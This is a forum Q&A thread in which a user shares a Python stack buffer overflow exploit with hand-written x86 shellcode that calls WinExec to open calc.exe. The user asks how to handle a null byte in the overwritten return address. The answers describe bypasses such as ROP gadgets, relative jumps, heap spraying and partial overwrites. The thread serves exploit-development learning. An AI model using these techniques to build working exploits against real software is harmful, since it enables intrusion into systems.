Here is my exploit:

junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives

shellcode = b""
shellcode += b"\x33\xc0"             # xor eax, eax
shellcode += b"\x50"                 # push eax
shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe"
shellcode += b"\x68\x63\x61\x6C\x63" # push "calc"
shellcode += b"\x8B\xC4"             # mov eax, esp
shellcode += b"\x6A\x01"             # push 1
shellcode += b"\x50"                 # push eax
shellcode += b"\xBB\x30\xCD\x07\x77" # mov ebx, 7707cd30 (location of winexec)
shellcode += b"\xFF\xD3"             # call ebx
nopsled = b"\x90" * 30
with open("exploit.txt", "wb") as file:
    file.write(junk + eip + nopsled + shellcode)

EIP gets overwritten with the correct value, but it doesn't jump to the shellcode, is there something I am missing? I also tried with shellcode generated by msfvenom and it didn't work as well, so I think the problem is not the shellcode itself. I am 99% sure the problem is the \x00 from the EIP, but how can I omit it if the address of jmp esp contains it? There is no jmp esp in the binary without a leading \x00.

2 Answers 2


You are right, the problem is the \x00 in EIP. This is commonly known as a bad character, you can find more bad chars here.

To bypass this issue, you need to use gadgets (Return-Oriented Programing) to jump to ESP, for example:

0x11223344 mov eax, esp

And a second gadget that jump to EAX:

0x55667788 jmp eax

In this case, the final exploit should be:

with open("exploit.txt", "wb") as file:
    file.write(junk + b"\x44\x33\x22\x11" + b"\x88\x77\x66\x55" + nopsled + shellcode)
  • What if all the ROPs' addresses contain 00?
    – Toma
    Jul 6, 2021 at 8:13

While using ROP is a viable option, you don't have to use ROP. There are several viable options:

  • Use gadgets from a different .dll/.so library with a better base address
  • Use a relative jmp: jmp esp-8 and shift your payload by 8 bytes
  • Use a long NOP sled and jump to a fixed stack address which is hopefully within your NOP sled
  • If you control several registers load a pre-calculated address into say eax and use a gadget like sub eax-48;call eax to pivot to the jmp esp address
  • Spray the heap and overwrite EIP to a fixed address like 0x0c0c0c0c
  • Put the payload in the junk portion of your payload and find a gadget that increments esp enough to hit inside your junk space then returns. This way you can use a partial overwrite of the address leaving the largest byte with its original value. Given that you're overwriting a return address there is a chance it already contained 0x004a????

There are many ways to solve these corner cases and getting creative is certainly allowed.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .